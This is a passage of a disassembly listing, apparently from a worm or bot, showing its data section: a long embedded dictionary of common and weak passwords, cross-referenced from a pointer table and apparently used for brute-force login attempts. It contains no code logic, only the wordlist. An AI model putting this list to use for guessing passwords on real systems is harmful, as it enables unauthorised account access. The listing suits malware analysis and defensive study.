aDawn db 'dawn',0 ; DATA XREF: .data:0042F264o
align 4
aDave db 'dave',0 ; DATA XREF: .data:0042F260o
align 4
aData db 'data',0 ; DATA XREF: .data:0042F25Co
align 4
aDarkaven db 'darkaven',0 ; DATA XREF: .data:0042F258o
align 10h
aDark db 'dark',0 ; DATA XREF: .data:0042F254o
align 4
aDapper db 'dapper',0 ; DATA XREF: .data:0042F250o
align 10h
aDanny db 'danny',0 ; DATA XREF: .data:0042F24Co
align 4
aDanielle db 'danielle',0 ; DATA XREF: .data:0042F248o
align 4
aDaniel db 'daniel',0 ; DATA XREF: .data:0042F244o
align 4
aDancer db 'dancer',0 ; DATA XREF: .data:0042F240o
align 4
aDana db 'dana',0 ; DATA XREF: .data:0042F23Co
align 4
aDaisy db 'daisy',0 ; DATA XREF: .data:0042F238o
align 4
aDaemon db 'daemon',0 ; DATA XREF: .data:0042F234o
align 4
aCynthia db 'cynthia',0 ; DATA XREF: .data:0042F230o
aCyberspa db 'cyberspa',0 ; DATA XREF: .data:0042F22Co
align 10h
aCyberpun db 'cyberpun',0 ; DATA XREF: .data:0042F228o
align 4
aCyber db 'cyber',0 ; DATA XREF: .data:0042F224o
align 4
aCustomer db 'customer',0 ; DATA XREF: .data:0042F220o
align 10h
aCunt db 'cunt',0 ; DATA XREF: .data:0042F21Co
align 4
aCshrc db 'cshrc',0 ; DATA XREF: .data:0042F218o
align 10h
aCrystal db 'crystal',0 ; DATA XREF: .data:0042F214o
aCristina db 'cristina',0 ; DATA XREF: .data:0042F210o
align 4
aCriminal db 'criminal',0 ; DATA XREF: .data:0042F20Co
align 10h
aCrime db 'crime',0 ; DATA XREF: .data:0042F208o
align 4
aCretin db 'cretin',0 ; DATA XREF: .data:0042F204o
align 10h
aCreosote db 'creosote',0 ; DATA XREF: .data:0042F200o
align 4
aCredit db 'credit',0 ; DATA XREF: .data:0042F1FCo
align 4
aCreature db 'creature',0 ; DATA XREF: .data:0042F1F8o
align 10h
aCreation db 'creation',0 ; DATA XREF: .data:0042F1F4o
align 4
aCreate db 'create',0 ; DATA XREF: .data:0042F1F0o
align 4
aCream db 'cream',0 ; DATA XREF: .data:0042F1ECo
align 4
aCrackpot db 'crackpot',0 ; DATA XREF: .data:0042F1E8o
align 4
aCrack db 'crack',0 ; DATA XREF: .data:0042F1E4o
align 10h
aCowboy db 'cowboy',0 ; DATA XREF: .data:0042F1E0o
align 4
aCouscous db 'couscous',0 ; DATA XREF: .data:0042F1DCo
align 4
aCountry db 'country',0 ; DATA XREF: .data:0042F1D8o
aCounters db 'counters',0 ; DATA XREF: .data:0042F1D4o
align 4
aCorrect db 'correct',0 ; DATA XREF: .data:0042F1D0o
aCorneliu db 'corneliu',0 ; DATA XREF: .data:0042F1CCo
align 4
aCopy db 'copy',0 ; DATA XREF: .data:0042F1C8o
align 4
aCops db 'cops',0 ; DATA XREF: .data:0042F1C4o
align 4
aCopper db 'copper',0 ; DATA XREF: .data:0042F1C0o
align 4
aCooper db 'cooper',0 ; DATA XREF: .data:0042F1BCo
align 4
aCool db 'cool',0 ; DATA XREF: .data:0042F1B8o
align 4
aCookie db 'cookie',0 ; DATA XREF: .data:0042F1B4o
align 4
aCookbook db 'cookbook',0 ; DATA XREF: .data:0042F1B0o
align 4
aCook db 'cook',0 ; DATA XREF: .data:0042F1ACo
align 10h
aContinue db 'continue',0 ; DATA XREF: sub_40EC43+2047o
; .data:0042F1A8o
align 4
aConsole db 'console',0 ; DATA XREF: .data:0042F1A4o
aConserva db 'conserva',0 ; DATA XREF: .data:0042F1A0o
align 10h
aConnie db 'connie',0 ; DATA XREF: .data:0042F19Co
align 4
aCondom db 'condom',0 ; DATA XREF: .data:0042F194o
align 10h
aCondo db 'condo',0 ; DATA XREF: .data:0042F190o
align 4
aComrades db 'comrades',0 ; DATA XREF: .data:0042F18Co
align 4
aComrade db 'comrade',0 ; DATA XREF: .data:0042F188o
aComputin db 'computin',0 ; DATA XREF: .data:0042F184o
align 4
aCompany db 'company',0 ; DATA XREF: .data:0042F180o
aCommrade db 'commrade',0 ; DATA XREF: .data:0042F17Co
align 4
aCommit db 'commit',0 ; DATA XREF: .data:0042F178o
align 4
aComics db 'comics',0 ; DATA XREF: .data:0042F174o
align 4
aCombat db 'combat',0 ; DATA XREF: .data:0042F170o
align 4
aColor db 'color',0 ; DATA XREF: .data:0042F16Co
align 4
aCollins db 'collins',0 ; DATA XREF: .data:0042F168o
aCold db 'cold',0 ; DATA XREF: .data:0042F164o
align 4
aCola db 'cola',0 ; DATA XREF: .data:0042F160o
align 4
aCoke db 'coke',0 ; DATA XREF: .data:0042F15Co
align 4
aCoin db 'coin',0 ; DATA XREF: .data:0042F158o
align 4
aCoffee db 'coffee',0 ; DATA XREF: .data:0042F154o
align 4
aCodeword db 'codeword',0 ; DATA XREF: .data:0042F150o
align 4
aCodename db 'codename',0 ; DATA XREF: .data:0042F14Co
align 4
aCode db 'code',0 ; DATA XREF: .data:0042F148o
align 4
aCock db 'cock',0 ; DATA XREF: .data:0042F144o
align 4
aCocainco db 'cocainco',0 ; DATA XREF: .data:0042F140o
align 10h
aCocacola db 'cocacola',0 ; DATA XREF: .data:0042F13Co
align 4
aCoast db 'coast',0 ; DATA XREF: .data:0042F138o
align 4
aClusters db 'clusters',0 ; DATA XREF: .data:0042F134o
align 10h
aCluster db 'cluster',0 ; DATA XREF: .data:0042F130o
aClinton db 'clinton',0 ; DATA XREF: .data:0042F12Co
aCleavage db 'cleavage',0 ; DATA XREF: .data:0042F128o
align 4
aClaymore db 'claymore',0 ; DATA XREF: .data:0042F124o
align 4
aClaudia db 'claudia',0 ; DATA XREF: .data:0042F120o
aClassic db 'classic',0 ; DATA XREF: .data:0042F11Co
aClasses db 'classes',0 ; DATA XREF: .data:0042F118o
aClass db 'class',0 ; DATA XREF: .data:0042F114o
align 4
aCindy db 'cindy',0 ; DATA XREF: .data:0042F110o
align 10h
aCigarett db 'cigarett',0 ; DATA XREF: .data:0042F10Co
align 4
aCigar db 'cigar',0 ; DATA XREF: .data:0042F108o
align 4
aChristy db 'christy',0 ; DATA XREF: .data:0042F104o
aChristin db 'christin',0 ; DATA XREF: .data:0042F100o
align 4
aChris db 'chris',0 ; DATA XREF: .data:0042F0FCo
align 10h
aChip db 'chip',0 ; DATA XREF: .data:0042F0F8o
align 4
aChester db 'chester',0 ; DATA XREF: .data:0042F0F4o
aChess db 'chess',0 ; DATA XREF: .data:0042F0F0o
align 4
aChemistr db 'chemistr',0 ; DATA XREF: .data:0042F0ECo
align 4
aChem db 'chem',0 ; DATA XREF: .data:0042F0E8o
align 4
aChat_0 db 'chat',0 ; DATA XREF: .data:0042F0E4o
align 4
aCharon db 'charon',0 ; DATA XREF: .data:0042F0E0o
align 4
aCharming db 'charming',0 ; DATA XREF: .data:0042F0DCo
align 4
aCharlie db 'charlie',0 ; DATA XREF: .data:0042F0D8o
aCharles db 'charles',0 ; DATA XREF: .data:0042F0D4o
aCharity db 'charity',0 ; DATA XREF: .data:0042F0D0o
aChange db 'change',0 ; DATA XREF: .data:0042F0CCo
align 4
aCerulean db 'cerulean',0 ; DATA XREF: .data:0042F0C8o
align 4
aCeltics db 'celtics',0 ; DATA XREF: .data:0042F0C4o
aCeltic db 'celtic',0 ; DATA XREF: .data:0042F0C0o
align 4
aCelt db 'celt',0 ; DATA XREF: .data:0042F0BCo
align 4
aCecily db 'cecily',0 ; DATA XREF: .data:0042F0B8o
align 4
aCayuga db 'cayuga',0 ; DATA XREF: .data:0042F0B4o
align 4
aCave db 'cave',0 ; DATA XREF: .data:0042F0B0o
align 4
aCathy db 'cathy',0 ; DATA XREF: .data:0042F0ACo
align 4
aCatholic db 'catholic',0 ; DATA XREF: .data:0042F0A8o
align 4
aCatherin db 'catherin',0 ; DATA XREF: .data:0042F0A4o
align 4
aCastle db 'castle',0 ; DATA XREF: .data:0042F0A0o
align 4
aCash db 'cash',0 ; DATA XREF: .data:0042F09Co
align 4
aCascades db 'cascades',0 ; DATA XREF: .data:0042F098o
align 10h
aCarson db 'carson',0 ; DATA XREF: .data:0042F094o
align 4
aCarrie db 'carrie',0 ; DATA XREF: .data:0042F090o
align 10h
aCaroline db 'caroline',0 ; DATA XREF: .data:0042F08Co
align 4
aCarolina db 'carolina',0 ; DATA XREF: .data:0042F088o
align 4
aCarole db 'carole',0 ; DATA XREF: .data:0042F084o
align 10h
aCarol db 'carol',0 ; DATA XREF: .data:0042F080o
align 4
aCarmen db 'carmen',0 ; DATA XREF: .data:0042F07Co
align 10h
aCarla db 'carla',0 ; DATA XREF: .data:0042F078o
align 4
aCaren db 'caren',0 ; DATA XREF: .data:0042F074o
align 10h
aCardinal db 'cardinal',0 ; DATA XREF: .data:0042F070o
align 4
aCard db 'card',0 ; DATA XREF: .data:0042F06Co
align 4
aCapture db 'capture',0 ; DATA XREF: .data:0042F068o
aCaptain db 'captain',0 ; DATA XREF: .data:0042F064o
aCantor db 'cantor',0 ; DATA XREF: .data:0042F060o
align 4
aCandy db 'candy',0 ; DATA XREF: .data:0042F05Co
align 4
aCandi db 'candi',0 ; DATA XREF: .data:0042F058o
align 4
aCamping db 'camping',0 ; DATA XREF: .data:0042F054o
aCampanil db 'campanil',0 ; DATA XREF: .data:0042F050o
align 10h
aCamille db 'camille',0 ; DATA XREF: .data:0042F04Co
aCaliforn db 'californ',0 ; DATA XREF: .data:0042F048o
align 4
aButthead db 'butthead',0 ; DATA XREF: .data:0042F044o
align 10h
aButt db 'butt',0 ; DATA XREF: .data:0042F040o
align 4
aButch db 'butch',0 ; DATA XREF: .data:0042F03Co
align 10h
aBurn db 'burn',0 ; DATA XREF: .data:0042F038o
align 4
aBurgess db 'burgess',0 ; DATA XREF: .data:0042F034o
aBung db 'bung',0 ; DATA XREF: .data:0042F030o
align 4
aBumbling db 'bumbling',0 ; DATA XREF: .data:0042F02Co
align 4
aBullshit db 'bullshit',0 ; DATA XREF: .data:0042F028o
align 10h
aBulls db 'bulls',0 ; DATA XREF: .data:0042F024o
align 4
aBrutefor db 'brutefor',0 ; DATA XREF: .data:0042F020o
align 4
aBrute db 'brute',0 ; DATA XREF: .data:0042F01Co
align 4
aBrunette db 'brunette',0 ; DATA XREF: .data:0042F018o
align 4
aBrothel db 'brothel',0 ; DATA XREF: .data:0042F014o
aBroadway db 'broadway',0 ; DATA XREF: .data:0042F010o
align 4
aBridget db 'bridget',0 ; DATA XREF: .data:0042F00Co
aBrian db 'brian',0 ; DATA XREF: .data:0042F008o
align 4
aBrenda db 'brenda',0 ; DATA XREF: .data:0042F004o
align 4
aBreast db 'breast',0 ; DATA XREF: .data:0042F000o
align 4
aBreak db 'break',0 ; DATA XREF: .data:0042EFFCo
align 4
aBravo db 'bravo',0 ; DATA XREF: .data:0042EFF8o
align 4
aBrandy db 'brandy',0 ; DATA XREF: .data:0042EFF4o
align 4
aBrandi db 'brandi',0 ; DATA XREF: .data:0042EFF0o
align 4
aBradley db 'bradley',0 ; DATA XREF: .data:0042EFECo
aBoyscout db 'boyscout',0 ; DATA XREF: .data:0042EFE8o
align 10h
aBorn db 'born',0 ; DATA XREF: .data:0042EFE4o
align 4
aBook db 'book',0 ; DATA XREF: .data:0042EFE0o
align 10h
aBoobs db 'boobs',0 ; DATA XREF: .data:0042EFDCo
align 4
aBoob db 'boob',0 ; DATA XREF: .data:0042EFD8o
align 10h
aBoner db 'boner',0 ; DATA XREF: .data:0042EFD4o
align 4
aBomb db 'bomb',0 ; DATA XREF: .data:0042EFD0o
align 10h
aBoard db 'board',0 ; DATA XREF: .data:0042EFCCo
align 4
aBlues db 'blues',0 ; DATA XREF: .data:0042EFC8o
align 10h
aBlue db 'blue',0 ; DATA XREF: .data:0042EFC4o
align 4
aBlowjob db 'blowjob',0 ; DATA XREF: .data:0042EFC0o
aBlow db 'blow',0 ; DATA XREF: .data:0042EFBCo
align 4
aBloodaxe db 'bloodaxe',0 ; DATA XREF: .data:0042EFB8o
align 4
aBlood db 'blood',0 ; DATA XREF: .data:0042EFB4o
align 4
aBlondie db 'blondie',0 ; DATA XREF: .data:0042EFB0o
aBlonde db 'blonde',0 ; DATA XREF: .data:0042EFACo
align 4
aBlack db 'black',0 ; DATA XREF: .data:0042EFA8o
align 4
aBitnet db 'bitnet',0 ; DATA XREF: .data:0042EFA4o
align 4
aBitmap db 'bitmap',0 ; DATA XREF: .data:0042EFA0o
align 4
aBitch db 'bitch',0 ; DATA XREF: .data:0042EF9Co
align 4
aBishop db 'bishop',0 ; DATA XREF: .data:0042EF98o
align 4
aBird db 'bird',0 ; DATA XREF: .data:0042EF94o
align 4
aBios db 'bios',0 ; DATA XREF: .data:0042EF90o
align 4
aBinary db 'binary',0 ; DATA XREF: .data:0042EF8Co
align 4
aBill db 'bill',0 ; DATA XREF: .data:0042EF88o
align 4
aBigfoot db 'bigfoot',0 ; DATA XREF: .data:0042EF84o
aBicamera db 'bicamera',0 ; DATA XREF: .data:0042EF80o
align 4
aBible db 'bible',0 ; DATA XREF: .data:0042EF7Co
align 10h
aBeverly db 'beverly',0 ; DATA XREF: .data:0042EF78o
aBetty db 'betty',0 ; DATA XREF: .data:0042EF74o
align 10h
aBetsie db 'betsie',0 ; DATA XREF: .data:0042EF70o
align 4
aBeth db 'beth',0 ; DATA XREF: .data:0042EF6Co
align 10h
aBeta db 'beta',0 ; DATA XREF: .data:0042EF68o
align 4
aBeryl db 'beryl',0 ; DATA XREF: .data:0042EF64o
align 10h
aBerliner db 'berliner',0 ; DATA XREF: .data:0042EF60o
align 4
aBerlin db 'berlin',0 ; DATA XREF: .data:0042EF5Co
align 4
aBerkeley db 'berkeley',0 ; DATA XREF: .data:0042EF58o
align 10h
aBeowulf db 'beowulf',0 ; DATA XREF: .data:0042EF54o
aBenz db 'benz',0 ; DATA XREF: .data:0042EF50o
align 10h
aBeloved db 'beloved',0 ; DATA XREF: .data:0042EF4Co
aBell db 'bell',0 ; DATA XREF: .data:0042EF48o
align 10h
aBehead db 'behead',0 ; DATA XREF: .data:0042EF44o
align 4
aBegin db 'begin',0 ; DATA XREF: .data:0042EF40o
align 10h
aBeethove db 'beethove',0 ; DATA XREF: .data:0042EF3Co
align 4
aBecky db 'becky',0 ; DATA XREF: .data:0042EF38o
align 4
aBeaver db 'beaver',0 ; DATA XREF: .data:0042EF34o
align 4
aBeauty db 'beauty',0 ; DATA XREF: .data:0042EF30o
align 4
aBeater db 'beater',0 ; DATA XREF: .data:0042EF2Co
align 4
aBeast db 'beast',0 ; DATA XREF: .data:0042EF28o
align 4
aBear db 'bear',0 ; DATA XREF: .data:0042EF24o
align 4
aBeammeup db 'beammeup',0 ; DATA XREF: .data:0042EF20o
align 4
aBeach db 'beach',0 ; DATA XREF: .data:0042EF1Co
align 10h
aBatman db 'batman',0 ; DATA XREF: .data:0042EF18o
align 4
aBatch db 'batch',0 ; DATA XREF: .data:0042EF14o
align 10h
aBassoon db 'bassoon',0 ; DATA XREF: .data:0042EF10o
aBass db 'bass',0 ; DATA XREF: .data:0042EF0Co
align 10h
aBasic db 'basic',0 ; DATA XREF: .data:0042EF08o
align 4
aBaseball db 'baseball',0 ; DATA XREF: .data:0042EF04o
align 4
aBartman db 'bartman',0 ; DATA XREF: .data:0042EF00o
aBart db 'bart',0 ; DATA XREF: .data:0042EEFCo
align 4
aBaritone db 'baritone',0 ; DATA XREF: .data:0042EEF8o
align 10h
aBarf db 'barf',0 ; DATA XREF: .data:0042EEF4o
align 4
aBare db 'bare',0 ; DATA XREF: .data:0042EEF0o
align 10h
aBarber db 'barber',0 ; DATA XREF: .data:0042EEECo
align 4
aBarbara db 'barbara',0 ; DATA XREF: .data:0042EEE8o
aBanks db 'banks',0 ; DATA XREF: .data:0042EEE4o
align 4
aBank db 'bank',0 ; DATA XREF: .data:0042EEE0o
align 10h
aBandit db 'bandit',0 ; DATA XREF: .data:0042EEDCo
align 4
aBananas db 'bananas',0 ; DATA XREF: .data:0042EED8o
aBanana db 'banana',0 ; DATA XREF: .data:0042EED4o
align 4
aBall db 'ball',0 ; DATA XREF: .data:0042EED0o
align 10h
aBailey db 'bailey',0 ; DATA XREF: .data:0042EECCo
align 4
aBadass db 'badass',0 ; DATA XREF: .data:0042EEC8o
align 10h
aBackdoor db 'backdoor',0 ; DATA XREF: .data:0042EEC4o
align 4
aBacchus db 'bacchus',0 ; DATA XREF: .data:0042EEC0o
aBaby db 'baby',0 ; DATA XREF: .data:0042EEBCo
align 4
aBabe db 'babe',0 ; DATA XREF: .data:0042EEB8o
align 4
aAzure db 'azure',0 ; DATA XREF: .data:0042EEB4o
align 4
aAztecs db 'aztecs',0 ; DATA XREF: .data:0042EEB0o
align 4
aAuthoriz db 'authoriz',0 ; DATA XREF: .data:0042EEACo
align 10h
aAttack db 'attack',0 ; DATA XREF: .data:0042EEA8o
align 4
aAtom db 'atom',0 ; DATA XREF: .data:0042EEA4o
align 10h
aAtmosphe db 'atmosphe',0 ; DATA XREF: .data:0042EEA0o
align 4
aAthena db 'athena',0 ; DATA XREF: .data:0042EE9Co
align 4
aAsshole db 'asshole',0 ; DATA XREF: .data:0042EE98o
aAsian db 'asian',0 ; DATA XREF: .data:0042EE94o
align 4
aArtist db 'artist',0 ; DATA XREF: .data:0042EE90o
align 4
aArthur db 'arthur',0 ; DATA XREF: .data:0042EE8Co
align 4
aArrow db 'arrow',0 ; DATA XREF: .data:0042EE88o
align 4
aArmy db 'army',0 ; DATA XREF: .data:0042EE84o
align 4
aArlene db 'arlene',0 ; DATA XREF: .data:0042EE80o
align 4
aAriadne db 'ariadne',0 ; DATA XREF: .data:0042EE7Co
aAria db 'aria',0 ; DATA XREF: .data:0042EE78o
align 4
aApril db 'april',0 ; DATA XREF: .data:0042EE74o
align 4
aApollo13 db 'apollo13',0 ; DATA XREF: .data:0042EE70o
align 10h
aAnything db 'anything',0 ; DATA XREF: .data:0042EE6Co
align 4
aAnvils db 'anvils',0 ; DATA XREF: .data:0042EE68o
align 4
aAnthropo db 'anthropo',0 ; DATA XREF: .data:0042EE64o
align 10h
aAnthrax db 'anthrax',0 ; DATA XREF: .data:0042EE60o
aAnswer db 'answer',0 ; DATA XREF: .data:0042EE5Co
align 10h
aAnonymou db 'anonymou',0 ; DATA XREF: .data:0042EE58o
align 4
aAnon db 'anon',0 ; DATA XREF: .data:0042EE54o
align 4
aAnnette db 'annette',0 ; DATA XREF: .data:0042EE50o
aAnne db 'anne',0 ; DATA XREF: .data:0042EE4Co
align 4
aAnna db 'anna',0 ; DATA XREF: .data:0042EE48o
align 4
aAnita db 'anita',0 ; DATA XREF: .data:0042EE44o
align 4
aAnimals db 'animals',0 ; DATA XREF: .data:0042EE40o
aAnimal db 'animal',0 ; DATA XREF: .data:0042EE3Co
align 4
aAngie db 'angie',0 ; DATA XREF: .data:0042EE38o
align 4
aAngerine db 'angerine',0 ; DATA XREF: .data:0042EE34o
align 4
aAngela db 'angela',0 ; DATA XREF: .data:0042EE30o
align 10h
aAnfo db 'anfo',0 ; DATA XREF: .data:0042EE2Co
align 4
aAndy db 'andy',0 ; DATA XREF: .data:0042EE28o
align 10h
aAndromac db 'andromac',0 ; DATA XREF: .data:0042EE24o
align 4
aAndroid db 'android',0 ; DATA XREF: .data:0042EE20o
aAndrea db 'andrea',0 ; DATA XREF: .data:0042EE1Co
align 4
aAnchor db 'anchor',0 ; DATA XREF: .data:0042EE18o
align 4
aAnarchy db 'anarchy',0 ; DATA XREF: .data:0042EE14o
aAnarchis db 'anarchis',0 ; DATA XREF: .data:0042EE10o
align 4
aAnalog db 'analog',0 ; DATA XREF: .data:0042EE0Co
align 10h
aAnal db 'anal',0 ; DATA XREF: .data:0042EE08o
align 4
aAmorphou db 'amorphou',0 ; DATA XREF: .data:0042EE04o
align 4
aAmerica db 'america',0 ; DATA XREF: .data:0042EE00o
aAmber db 'amber',0 ; DATA XREF: .data:0042EDFCo
align 4
aAmanda db 'amanda',0 ; DATA XREF: .data:0042EDF8o
align 4
aAmadeus db 'amadeus',0 ; DATA XREF: .data:0042EDF4o
aAlphabet db 'alphabet',0 ; DATA XREF: .data:0042EDF0o
align 10h
aAllow db 'allow',0 ; DATA XREF: .data:0042EDECo
align 4
aAllison db 'allison',0 ; DATA XREF: .data:0042EDE8o
aAlison db 'alison',0 ; DATA XREF: .data:0042EDE4o
align 4
aAlisa db 'alisa',0 ; DATA XREF: .data:0042EDE0o
align 10h
aAlicia db 'alicia',0 ; DATA XREF: .data:0042EDDCo
align 4
aAlice db 'alice',0 ; DATA XREF: .data:0042EDD8o
align 10h
aAliases db 'aliases',0 ; DATA XREF: .data:0042EDD4o
aAlias db 'alias',0 ; DATA XREF: .data:0042EDD0o
align 10h
aAlgebra db 'algebra',0 ; DATA XREF: .data:0042EDCCo
aAlexande db 'alexande',0 ; DATA XREF: .data:0042EDC8o
align 4
aAlex db 'alex',0 ; DATA XREF: .data:0042EDC4o
align 4
aAlert db 'alert',0 ; DATA XREF: .data:0042EDC0o
align 4
aAlbert db 'albert',0 ; DATA XREF: .data:0042EDBCo
align 4
aAlbatros db 'albatros',0 ; DATA XREF: .data:0042EDB8o
align 4
aAlbany db 'albany',0 ; DATA XREF: .data:0042EDB4o
align 10h
aAlaska db 'alaska',0 ; DATA XREF: .data:0042EDB0o
align 4
aAirplane db 'airplane',0 ; DATA XREF: .data:0042EDACo
align 4
aAids db 'aids',0 ; DATA XREF: .data:0042EDA8o
align 4
aAerobics db 'aerobics',0 ; DATA XREF: .data:0042EDA4o
align 4
aAdult db 'adult',0 ; DATA XREF: .data:0042EDA0o
align 10h
aAdrianna db 'adrianna',0 ; DATA XREF: .data:0042ED9Co
align 4
aAdrian db 'adrian',0 ; DATA XREF: .data:0042ED98o
align 4
aAdam db 'adam',0 ; DATA XREF: .data:0042ED94o
align 4
aAction db 'action',0 ; DATA XREF: .data:0042ED90o
align 4
aAccount db 'account',0 ; DATA XREF: .data:0042ED8Co
aAcademic db 'academic',0 ; DATA XREF: .data:0042ED84o
align 4
aAcademia db 'academia',0 ; DATA XREF: .data:0042ED80o
align 4
a000000 db '000000',0 ; DATA XREF: .data:0042ED7Co
align 4
a00000 db '00000',0 ; DATA XREF: .data:0042ED78o
align 4
a0000 db '0000',0 ; DATA XREF: .data:0042ED74o
align 4
a000 db '000',0 ; DATA XREF: .data:0042ED70o
aTesting db 'testing',0 ; DATA XREF: .data:0042ED6Co
aDeath db 'death',0 ; DATA XREF: .data:0042ED68o
align 10h
a00 db '00',0 ; DATA XREF: .data:0042ED64o
align 4
aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .data:0042ED5Co
align 10h
aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .data:0042ED58o
align 4
aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .data:0042ED54o
aXxxxxx db 'xxxxxx',0 ; DATA XREF: .data:0042ED50o
align 4
aXxxxx db 'xxxxx',0 ; DATA XREF: .data:0042ED4Co
align 4
aXxxx db 'xxxx',0 ; DATA XREF: .data:0042ED48o
align 4
aXxx db 'xxx',0 ; DATA XREF: .data:0042ED44o
aXx db 'xx',0 ; DATA XREF: .data:0042ED40o
align 4
asc_433F74: ; DATA XREF: .data:0042ED3Co
unicode 0, <x>,0
aGuessme db 'guessme',0 ; DATA XREF: .data:0042ED38o
aYouwontguessme db 'youwontguessme',0 ; DATA XREF: .data:0042ED34o
align 10h
aUwontguessme db 'uwontguessme',0 ; DATA XREF: .data:0042ED30o
align 10h
aMirc_0 db 'mirc',0 ; DATA XREF: .data:0042ED2Co
align 4
aKiddie db 'kiddie',0 ; DATA XREF: .data:0042ED28o
align 10h
aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: .data:0042ED24o
align 10h
aScript db 'script',0 ; DATA XREF: .data:0042ED20o
align 4
aHax0r db 'hax0r',0 ; DATA XREF: .data:0042ED1Co
align 10h
aHacker db 'hacker',0 ; DATA XREF: .data:0042ED18o
align 4
aL337 db 'l337',0 ; DATA XREF: .data:0042ED14o
align 10h
aL33t db 'l33t',0 ; DATA XREF: .data:0042ED10o
align 4
aLeet db 'leet',0 ; DATA XREF: .data:0042ED0Co
align 10h
aKiller db 'killer',0 ; DATA XREF: .data:0042ED08o
align 4
a0wn3d db '0wn3d',0 ; DATA XREF: .data:0042ED04o
align 10h
aW00t db 'w00t',0 ; DATA XREF: .data:0042ED00o
align 4
aHeaven db 'heaven',0 ; DATA XREF: .data:0042ECFCo
align 10h
aSpaceman db 'spaceman',0 ; DATA XREF: .data:0042ECF8o
align 4
aSatanic db 'satanic',0 ; DATA XREF: .data:0042ECF4o
aSatanik db 'satanik',0 ; DATA XREF: .data:0042ECF0o
aSatan db 'satan',0 ; DATA XREF: .data:0042ECECo
align 4
aGobo db 'gobo',0 ; DATA XREF: .data:0042ECE8o
align 4
aMatthew db 'Matthew',0 ; DATA XREF: .data:0042ECE4o
aMatt db 'Matt',0 ; DATA XREF: .data:0042ECE0o
align 4
aMat db 'Mat',0 ; DATA XREF: .data:0042ECDCo
aPw db 'pw',0 ; DATA XREF: .data:0042ECD8o
align 4
aMypass123 db 'mypass123',0 ; DATA XREF: .data:0042ECD4o
align 10h
aMypass db 'mypass',0 ; DATA XREF: .data:0042ECD0o
align 4
aPw123 db 'pw123',0 ; DATA XREF: .data:0042ECCCo
align 10h
aAdmin123 db 'admin123',0 ; DATA XREF: .data:0042ECC8o
align 4
aMypc123 db 'mypc123',0 ; DATA XREF: .data:0042ECC4o
aMypc db 'mypc',0 ; DATA XREF: .data:0042ECC0o
align 4
aLove db 'love',0 ; DATA XREF: .data:0042ECBCo
align 4
aPwd db 'pwd',0 ; DATA XREF: .data:0042ECB8o
aLogin db 'login',0 ; DATA XREF: .data:0042ECB4o
align 10h
aHome db 'home',0 ; DATA XREF: .data:0042ECB0o
align 4
aZxcv db 'zxcv',0 ; DATA XREF: .data:0042ECACo
align 10h
aYxcv db 'yxcv',0 ; DATA XREF: .data:0042ECA8o
align 4
aQwer db 'qwer',0 ; DATA XREF: .data:0042ECA4o
align 10h
aSecret db 'secret',0 ; DATA XREF: .data:0042ECA0o
align 4
aAsdf db 'asdf',0 ; DATA XREF: .data:0042EC9Co
align 10h
aPc db 'pc',0 ; DATA XREF: .data:0042EC98o
align 4
aWin db 'win',0 ; DATA XREF: .data:0042EC94o
aTest123 db 'test123',0 ; DATA XREF: .data:0042EC90o
aAbc db 'abc',0 ; DATA XREF: .data:0042EC8Co
aAaa db 'aaa',0 ; DATA XREF: .data:0042EC88o
aA_1: ; DATA XREF: .data:0042EC84o
unicode 0, <a>,0
aCrash db 'crash',0 ; DATA XREF: .data:0042EC80o
align 4
aFucked db 'fucked',0 ; DATA XREF: .data:0042EC7Co
align 4
aNetfuck db 'netfuck',0 ; DATA XREF: .data:0042EC78o
aIrule db 'irule',0 ; DATA XREF: .data:0042EC74o
align 4
aOwned db 'owned',0 ; DATA XREF: .data:0042EC70o
align 4
a0wned db '0wned',0 ; DATA XREF: .data:0042EC6Co
align 4
aNetDevil db 'net-devil',0 ; DATA XREF: .data:0042EC68o
align 4
aNetdevil db 'netdevil',0 ; DATA XREF: .data:0042EC64o
align 4
aDevil db 'devil',0 ; DATA XREF: .data:0042EC60o
align 4
aNilez db 'Nilez',0 ; DATA XREF: .data:0042EC5Co
align 4
aFoobar db 'foobar',0 ; DATA XREF: .data:0042EC58o
align 4
aGod db 'god',0 ; DATA XREF: .data:0042EC54o
aSex db 'sex',0 ; DATA XREF: .data:0042EC50o
aPat db 'pat',0 ; DATA XREF: .data:0042EC4Co
aPatrick db 'patrick',0 ; DATA XREF: .data:0042EC48o
aAlpha db 'alpha',0 ; DATA XREF: .data:0042EC44o
align 4
a007 db '007',0 ; DATA XREF: .data:0042EC40o
a123abc db '123abc',0 ; DATA XREF: .data:0042EC3Co
align 4
a1234qwer db '1234qwer',0 ; DATA XREF: .data:0042EC38o
align 10h
a123123 db '123123',0 ; DATA XREF: .data:0042EC34o
align 4
a121212 db '121212',0 ; DATA XREF: .data:0042EC30o
align 10h
a111111 db '111111',0 ; DATA XREF: .data:0042EC2Co
align 4
a110 db '110',0 ; DATA XREF: .data:0042EC28o
a2600 db '2600',0 ; DATA XREF: .data:0042EC24o
align 4
a2002 db '2002',0 ; DATA XREF: .data:0042EC1Co
align 4
aXp_0 db 'xp',0 ; DATA XREF: .data:0042EC18o
align 10h
aEnable db 'enable',0 ; DATA XREF: .data:0042EC14o
align 4
aGodblessyou db 'godblessyou',0 ; DATA XREF: .data:0042EC10o
aIhavenopass db 'ihavenopass',0 ; DATA XREF: .data:0042EC0Co
a123asd db '123asd',0 ; DATA XREF: .data:0042EC08o
align 4
aSuper db 'super',0 ; DATA XREF: .data:0042EC04o
align 10h
aInternet db 'Internet',0 ; DATA XREF: .data:0042EC00o
align 4
a123qwe db '123qwe',0 ; DATA XREF: .data:0042EBF8o
align 4
aSybase db 'sybase',0 ; DATA XREF: .data:0042EBF4o
align 4
aAbc123 db 'abc123',0 ; DATA XREF: .data:0042EBECo
align 4
aAbcd db 'abcd',0 ; DATA XREF: .data:0042EBE8o
align 4
aPasswd db 'passwd',0 ; DATA XREF: .data:0042EBE0o
align 4
aPass_0 db 'pass',0 ; DATA XREF: .data:0042EBDCo
align 4
a88888888 db '88888888',0 ; DATA XREF: .data:0042EBD8o
align 4
a11111111 db '11111111',0 ; DATA XREF: .data:0042EBD4o
align 4
a111 db '111',0 ; DATA XREF: .data:0042EBD0o
a54321 db '54321',0 ; DATA XREF: .data:0042EBCCo
align 10h
a654321 db '654321',0 ; DATA XREF: .data:0042EBC8o
align 4
a123456789 db '123456789',0 ; DATA XREF: .data:0042EBC4o
align 4
